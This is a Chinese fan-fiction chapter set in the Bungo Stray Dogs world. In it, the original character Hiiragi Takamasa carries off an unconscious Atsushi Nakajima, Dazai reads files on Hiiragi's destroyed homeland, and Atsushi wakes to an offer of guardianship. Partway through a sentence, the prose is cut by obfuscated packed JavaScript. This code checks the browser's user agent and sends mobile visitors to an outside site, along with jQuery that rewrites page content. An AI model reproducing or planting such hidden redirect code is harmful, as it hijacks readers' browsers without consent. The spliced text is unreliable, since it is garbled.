15.第 15 章
作品:《if线cp舞到原著面前了》 雨下得绵密而冰冷,织成一张笼罩天地的大网。
说了许久,却未得到挚友的回应。
费奥多尔脸上的狂热微微一顿,转过头,发现柊贵诚的视线并未落在本次计划的目标“书”上,也未看向他,而是长久地、沉默地凝视着地上昏迷不醒的少年。
雨水顺着柊贵诚黑色的发梢滴落,划过他没什么表情的侧脸。
“……柊?”费奥多尔轻轻唤了一声,语气里透出一丝罕见的不解,“你在看什么?那个孩子……是叫中岛敦,他有什么问题吗?”他无法理解,在理想即将实现,如此激动人心的此刻,为何对方的注意力会停留在一个已经无足轻重的人身上。
柊贵诚没有回答,而向前走了两步,在费奥多尔略显错愕的注视下,俯身,将浑身泥水、昏迷不醒的白发少年打横抱了起来。
动作很稳,甚至透出一种与周遭残酷景象格格不入的轻柔。
奇迹般的,当少年被他抱入怀中时,两人周身的雨水仿佛被一层无形的屏障隔开,再无一滴能沾染到他们身上。
雨水在无形的界膜上滑落,形成一道朦胧的轮廓。
“新世界的降临,不急于一时,还需等待一些时日。”
柊贵诚终于开口,调整了一下怀中少年的姿势,转向费奥多尔时,脸上绽开一个纯粹的微笑,语气里浸透着对友人毫无保留的信赖。
“这期间一些必要的‘准备’,就全都拜托你了,费佳~”
费奥多尔微微眯起眼。
柊贵诚垂下眼帘,看了一眼怀中少年苍白的、沾着泥点的脸。
“而我呢,”他顿了顿,声音里忽然掺进一丝近乎悠然的轻松,“忽然想……当回一段时间的神父了。”
话音落下,便不再停留,完全不给另一方反驳的机会,抱着中岛敦,转身便步入了铺天盖地的雨幕。
“那么,这边就先谢啦~”轻快甚至略带笑意的尾音,消散在潮湿的空气里。
那层无形的屏障隔绝了雨水,也隔绝了身后费奥多尔久久凝视的、复杂难辨的目光。
柊贵诚的背影很快被黑暗与大雨吞噬,只有脚步踏过积水的声音,渐行渐远。
费奥多尔独自站在庭院中央,雨水重新打湿了他的肩头。
他低头看了看手中那本看似平凡无奇的“书”,又望向柊贵诚消失的方向,苍白的脸上缓缓浮现出一个无奈的笑容。
“你这家伙……还是这么任性啊。”
雨,越下越大了。
---
距离“物流园森林化”事件已经过去四天。
负责调查这一系列事件的异能特务科十分头疼。
追查四天,什么也没查到。
现代社会,无论做什么都会留下痕迹,指纹、监控、转账记录、通信基站信号,再小心的人,也总会在某个环节留下印记。
但对方没有。
那人就像从未在这个世界上存在过一样。
太宰治坐在会议室的长桌边,手里捏着一叠资料。
那是种田山头火亲自送来的、关于“柊贵诚”的已知情报。
【柊贵诚,男,出生地:法迪尔(已灭国,现有土地归属图密州)
身份:法迪尔遗民,疑似皇室成员。
异能力:疑似创造异能生命、异能道具。
已知异能产物:天使雕像、鹿女、掩藏自身信息的帽子、网络机械造物(存疑)
备注:未在公开网络查询到柊贵诚的相关情报及身份信息,现代网络时代中的“幽灵”。现有信息均来自纸质记录及极少数相关人士的回忆。】
接下来是篇幅冗长的性格侧写和危险性评估。
太宰治没兴趣看下去。
他将资料搁在桌上,往椅背上一靠,目光落在天花板上。
“神父啊。”他轻声说,像在自言自语,“那家伙的讲话方式,还真的蛮像神棍的。”
种田山头火坐在太宰治对面,闻言抬起头:“你在森林中见过他本人,你觉得,对方是个什么样的人?”
“炸弹。”太宰治的语气轻快,“绝对的超级邪恶大Boss。”
“……”
种田声音沉下来:“太宰君,你是唯一一个和柊贵诚正面接触过、并且全身而退的人,对方的目的绝对不仅仅是把一个物流园变回森林。”
“我有理由相信,他还在谋划更大规模的事件。”
太宰治没有接话。
“今后但凡出现与他有关的案子,我希望你都能参与。”
种田的理由很充分。眼前这个男人的异能力是所有异能力者的克星,再加上他的头脑……
如果一定要选一个人来解决柊贵诚带来的麻烦,太宰治无疑是最优选。
种田说完这句话,会议室安静了几秒。
太宰治的手指在桌沿轻轻敲了两下。
“特务科丢东西了吗?”
种田一怔,迅速摇头:“没有。事后我们第一时间清点了所有机密文件、异能物品、数据库存,没有任何人员或物品的遗失记录。”
太宰治看着他。
……
那目光不锐利,甚至可以说平淡,却让种田感到某种难以言喻的不适。
“还有一种可能。”太宰治说,“已经丢了,只是你们不知道。”
种田没有反驳,他当然想过这种可能。
先是用拍卖会上大量社会名流死亡引起广泛关注,将异能特务科的注意力强行拖进横滨,随后又策划了物流园事件逼特务科把人力调去横滨港。
实在是太过标准的调虎离山。
如果这不是为了从特务科手里拿走某样东西,那他图什么?
就为了给横滨添一座森林公园?为横滨这座城市添加特色旅游项目?
可他查了四天,什么都没查到。
“我们这边有追踪手段。”种田说,“也动用了最擅长情报分析的人员,依然找不到对方任何马脚。”
话说到一半,他看见太宰治的眼神暗了一瞬。
极快。
快到几乎无法捕捉。
“那就等对方出招吧。”太宰治站起身,“该聊的也聊得差不多了,对方在暗我们在明,急也没用。”
“毕竟我刚入职,还有很多事情要准备,失陪。”
太宰治转身要走。
“太宰。”种田叫住他。
太宰治停住脚步,没有回头。
种田沉默了几秒,他想问很多事——
比如你和柊贵诚在森林里究竟聊了什么?根据侧写,那么危险的罪犯为什么独独放过你,甚至还在你面前暴露了真容?
但他最终只是说:
“有任何发现,请及时联系特务科。”
太宰治没答话,推门出去了。
会议室里剩下种田和福泽谕吉。
福泽谕吉自始至终没有插话,此刻才开口:“后续若有相关情报,侦探社会及时与特务科沟通。”
种田点点头,站起身与他握手。
走到门口,他忽然停住,回头看了一眼长桌上那叠被太宰治遗落的资料。
没说什么。
推门离开。
会议室彻底安静下来。
江户川乱步不知从哪个角落冒出来,手里捏着一颗碧绿的玻璃弹珠,对着窗外的光举起来,眯着眼看。
“社长。”他的声音带着惯常的,小孩子发现秘密的雀跃,“你说他是真不知道特务科丢了什么,还是不敢说——”
“又或者,不能说?”
福泽谕吉没有回答。
乱步将弹珠换了个角度,光影在玻璃内部折转成细碎的星芒。
“两个有秘密的人。”他把弹珠收回口袋,双手枕在脑后,慢悠悠往外走,“不过既然是名侦探,当然不会追着不想说的人问。”
“反正总会知道的,因为我可是名侦探啊。”
福泽谕吉望着他的背影。
“交给你了,乱步。”
乱步没有回头,一副信心十足的样子:“当然,我可是名侦探啊!”
……
窗外的天色彻底暗下来时,太宰治还坐在自己的座位上。
屋内没有开灯。
整间办公室只有他一个人。
福泽谕吉下午出门会客,与谢野晶子去了医疗物资仓库,其他人各自有任务。
太宰治从抽屉最深处摸出那份报告。
【关于“法迪尔”历史背景及灭国事件的补充调查】
他翻开第一页。
【法迪尔王国,位于欧洲东部,于二十三年前因“圣座事件”灭国。
据现存极少数资料记载,灭国当晚,王宫发生大规模异能失控现象,一夜之间,王族全员死亡,王城化为废墟。
官方结论为“异能暴走事故”,但此次事件疑点颇多。
现存已知王裔:一人。
姓名:柊贵诚,灭国时年五岁,下落不明。】
太宰治一行一行看下去。
很慢。
很安静。
他翻到第三页。
【法迪尔为国教合一体制,王即主教。灭国后,该教派分裂为数支小型地下组织,已无影响力。
注:部分资料提及,柊贵诚流亡期间,曾隐姓埋名在某国边境小镇担任过神职工作。】
太宰治合上报告。
忽然想起那人在森林里说过的话,他从未对任何人提起。
——“我了解过你,太宰治,我们是同路人。”
——“这个世界已经病了!世间最恶的就是人心,你不是已经体验过了吗?”
——“那个叫织田作之助的男人。”
——“你可能觉得想要改变世界只是说大话,但是相信我,我有能力做到,去除人类的劣根性。”
太宰治将报告放回抽屉。
没有关上。
他保持着那个姿势,坐在黑暗里,手还搭在抽屉拉环上。
很久很久。
“……柊贵诚。”他轻声念出这个名字,“你真是一个有意思的家伙啊?”
目光长久地落在那张模糊的照片上。
照片是黑白的老式银盐相纸,边缘泛着浅褐。
神父站在午后的廊下,阳光从他身后倾泻,在他周身勾勒出一圈淡金色的光。
微微低着头,看不清眉眼,只有被光线照亮的侧脸线条,年轻,俊美,像中世纪祭坛画里走出来的圣徒。
他身前跪着一个男人。
那人低着头,蓬乱的黑色发顶触到神父垂落的袍角。
神父的手覆在他额上,似赐福,也似宽恕。
那个跪着的男人闭着眼睛。
他脸上没有痛苦,没有祈求,只有一种近乎婴儿熟睡时的、全然交付的松弛。
好一幅神爱世人。
好一个年轻的神,低下他未曾蒙尘的眼,将手放在一个罪人发烫的额上。
仿佛他生来就是为了赦免。
太宰治把抽屉轻轻推回去了。
咔哒一声。
很轻。
在寂静的办公室里却格外清晰。
他往后仰进椅背,将手背搭上眼睛。
想不通。
【弹幕:好奇是心动的开始,bro你坠入爱河啦!】
【弹幕:俺们老柊还是个小王子嘞!】
【弹幕:亡国的皇储、侍奉神明的神父、理想主义者,这么多元素融于一身,真是要把我香迷糊了。】
【弹幕:雨中抱起中岛敦的那一幕,真的让我感受到了柊贵诚这个人物身上的神性】
【弹幕:雨中躺在泥地里的孤儿院其他人:……我呢,我是说,那我们呢?!】
---
中岛敦睁开眼睛。
映入视野的不是阴冷潮湿的地牢,而是再普通不过的卧室天花板。
但,这对中岛敦来说,就是最大的不正常。
“醒了?”
一道温和的声音从旁边传来。
中岛敦猛地转过头,他床边的椅子上坐着一个人。
看清那张脸的瞬间,中岛敦惊得直接从床上坐了起来。
这张脸他见过。
昏迷前最后一眼看见的,就是这个人。
“这里是哪里?你……我……”中岛敦语无伦次,不知道该从何问起。
柊贵诚没有说话,只是从床头柜上拿起一杯温水,递到他面前。
“别急,先喝口水吧。”
中岛敦愣愣地接过来。
人在大脑空白的时候,似乎总会下意识接过别人递来的东西。
中岛敦明明知道眼前这个男人很可能和自己昏迷有关,应该保持警惕才对,但他还是接了过来,还听话地喝了一口。
温水滑过喉咙,让他稍微冷静了些。
“……你好。”中岛敦握着水杯,小心翼翼地开口,“我叫中岛敦,请问你是?”
声音中带着一种连他自己都觉得奇怪的信任,明明这人身份不明,可中岛敦就是能感觉到对方身上的善意。
柊贵诚没有立刻回答。
他只是看着中岛敦,目光沉静,沉静得让中岛敦有些不自在,却又不觉得被冒犯。
“我知道你叫中岛敦。”柊贵诚终于开口,声音依然是那种温和的调子,“至于我……你可以叫我柊贵诚。”
中岛敦点点头,等着他继续说下去。
柊贵诚却忽然问了一个不相干的问题:“你知道自己之前在哪里吗?”
中岛敦愣住了。
之前在哪里?
他努力回想,记忆却像破碎的镜子,只剩一些模糊的碎片,潮湿的空气,铁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173635|196429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锈的味道,黑暗中隐约可见的铁栏杆。
“我……”他张了张嘴,声音发涩,“我不太记得了。”
这是谎话。
他记得。
记得太清楚了。
那些碎片拼凑起来,是一座地下室的轮廓。
阴暗,逼仄,空气中永远弥漫着霉味和别的什么腐烂的气息。
他被人用锁链拴在角落里,像拴一条狗。
不,不是像狗。
他见过狗,孤儿院的厨师养了一条,至少还能在院子里跑。
他连狗都不如。
“你记得的。”柊贵诚说,语气很轻,却不容反驳,“你只是不想说。”
中岛敦垂下眼睛,握紧了手里的杯子。
“我在孤儿院的地下室找到的你。”柊贵诚继续说,“你被锁在那里,脖子上套着铁链,链子另一端钉在墙上。”
中岛敦的指尖收紧,指节泛白。
“我靠近你的时候,”柊贵诚看着他,“你发出了野兽一样的嘶吼,不是人的声音,是野兽的。”
他说得很平静,但中岛敦却觉得那几句话像一只手,直接伸进他胸口,攥住了他的心脏。
他想起了那一幕。
黑暗中突然出现的人影,脚步声越来越近。
他不知道那是谁,不知道对方要做什么。他只知道所有靠近他的人最后都会伤害他,要么是打骂,要么是更糟的东西。
所以他像往常一样嘶吼,像往常一样试图用最凶恶的声音把对方吓退。
然后他听见了脚步声停住。
黑暗中,那个人没有继续靠近,也没有离开。
他只是站在原地,说了一句话。
那句话太轻了,轻到中岛敦当时没听清。
但现在想起来,那好像是一句——
“别怕。”
“我……”中岛敦抬起头,想说什么,却不知道该说什么。
“你被关在那里多久了?”柊贵诚问。
中岛敦摇头,他记不得了。
孤儿院的日子本就模糊,地下室的日子更是混沌一片。没有窗户,没有光,没有人告诉他今天是几月几号,他只能凭送饭的次数来数日子,但数着数着就乱了。
“很久。”中岛敦最后只能这么说。
柊贵诚点点头,没有追问。
房间里安静了一会儿。
“我想跟你说一件事。”柊贵诚开口,“可能会有些突然,但我希望你能听我说完。”
中岛敦看着他。
“你现在这个样子,是没有办法在人类社会生存下去的。”
柊贵诚的语气依然是那种温和的调子,但话的内容却让中岛敦愣住了。
“你被关得太久了。”柊贵诚继续说,“你学过怎么和人相处吗?知道怎么买东西吗?知道走在路上要看红绿灯吗?知道被欺负了该找谁吗?”
中岛敦一个都答不上来。
“你什么都不懂。”柊贵诚说,“这不是你的错,没有人教过你。但是,如果你就这样被丢到社会里,你会死的。”
最后三个字,他说得很轻,却像石头一样沉甸甸地落进中岛敦心里。
一只野兽是无法再人类的社会生存下去的
中岛敦低下头,没有说话。
他知道柊贵诚说的是真的。
他甚至不知道自己现在该怎么办。
醒过来之后,他唯一能做的就是被动地呆在原地,因为他根本不知道该往哪里去,该做什么事。
他就像一张白纸,不,比白纸还不如。
白纸至少是干净的,他这张纸上全是别人用脚踩过的泥印。
“所以我想问你一件事。”
中岛敦抬起头。
柊贵诚看着他,目光平和,平和得让中岛敦觉得自己的狼狈好像也没那么难堪了。
“在你能独立生活之前,愿意让我照顾你一段时间吗?”
中岛敦愣住了。
他没听懂。
“你……你说什么?”
“我说。”柊贵诚放慢了语速,“我想暂时收养你,教你一些在这个世界上活下去需要知道的事,等你什么时候能自己照顾自己了,你再离开,那时候想去哪都行。”
中岛敦张着嘴,却发不出声音。
收养。
这个词他听过。
孤儿院里偶尔有人来,说是要收养孩子。
被带走的孩子总会露出很幸福的表情,让剩下的人又羡慕又嫉妒。
但他从来没有被选中过。
从来没有人愿意收养他。
“为什么……”中岛敦的声音沙哑,“为什么要对我……”
他说不下去了。
柊贵诚看着他。
沉默了一会儿,柊贵诚站起身,走到窗边。
窗外是午后明亮的阳光,照得他整个人都笼罩在一层淡金色的光里。
“我第一次看见你的时候,”他背对着中岛敦,声音从光线里传来,“你像一只被困住的野兽,冲我嘶吼,但那不是愤怒,是恐惧。”
他转过身,逆着光,看不清脸上的表情。
“你怕我,但你又不知道自己该怎么办,你被困在那里太久了,久到连怎么求救都忘了,只会嘶吼,只会威胁,只会用最笨拙的方式把所有人赶走。”
“那不是你的错。”
“是那些本该保护你的人,没有保护你。”
中岛敦的眼眶忽然有些发烫。
他低下头,用力眨眼睛。
“我不知道该怎么在这个世界上活下去。”中岛敦说,声音闷闷的,“我什么都……什么都不懂。”
“那就学。”柊贵诚走回床边,低头看着他,“我教你。”
中岛敦抬起头。
逆着光,他看清了柊贵诚的表情。
很柔和,很温煦,没有任何施舍或怜悯的意思,就好像他只是在说一件理所当然的事,就好像中岛敦值得被这样对待。
中岛敦的视线忽然模糊了。
他用力吸了吸鼻子,但眼泪还是没忍住,一颗接一颗地滚落下来。
“……好。”中岛敦听见自己的声音,沙哑得不像自己,“好。”
柊贵诚没有说话。
他只是站在那里,等中岛敦哭完。
过了很久,中岛敦才终于停下来,低着头,用袖子胡乱擦脸,觉得又丢脸又不知所措。
这时候,他看见一只手伸过来。
柊贵诚的手在半空顿了顿,最后只是轻轻拍了拍他瘦削的肩膀。
“别哭了。”他说,声音比之前更柔和了一点,“以后会好的。”
中岛敦抬起头,看着他。
暖色调的光从窗外照进来,落在柊贵诚身上。
中岛敦仰着脸,灰紫色的眼眸里映着对方的身影。

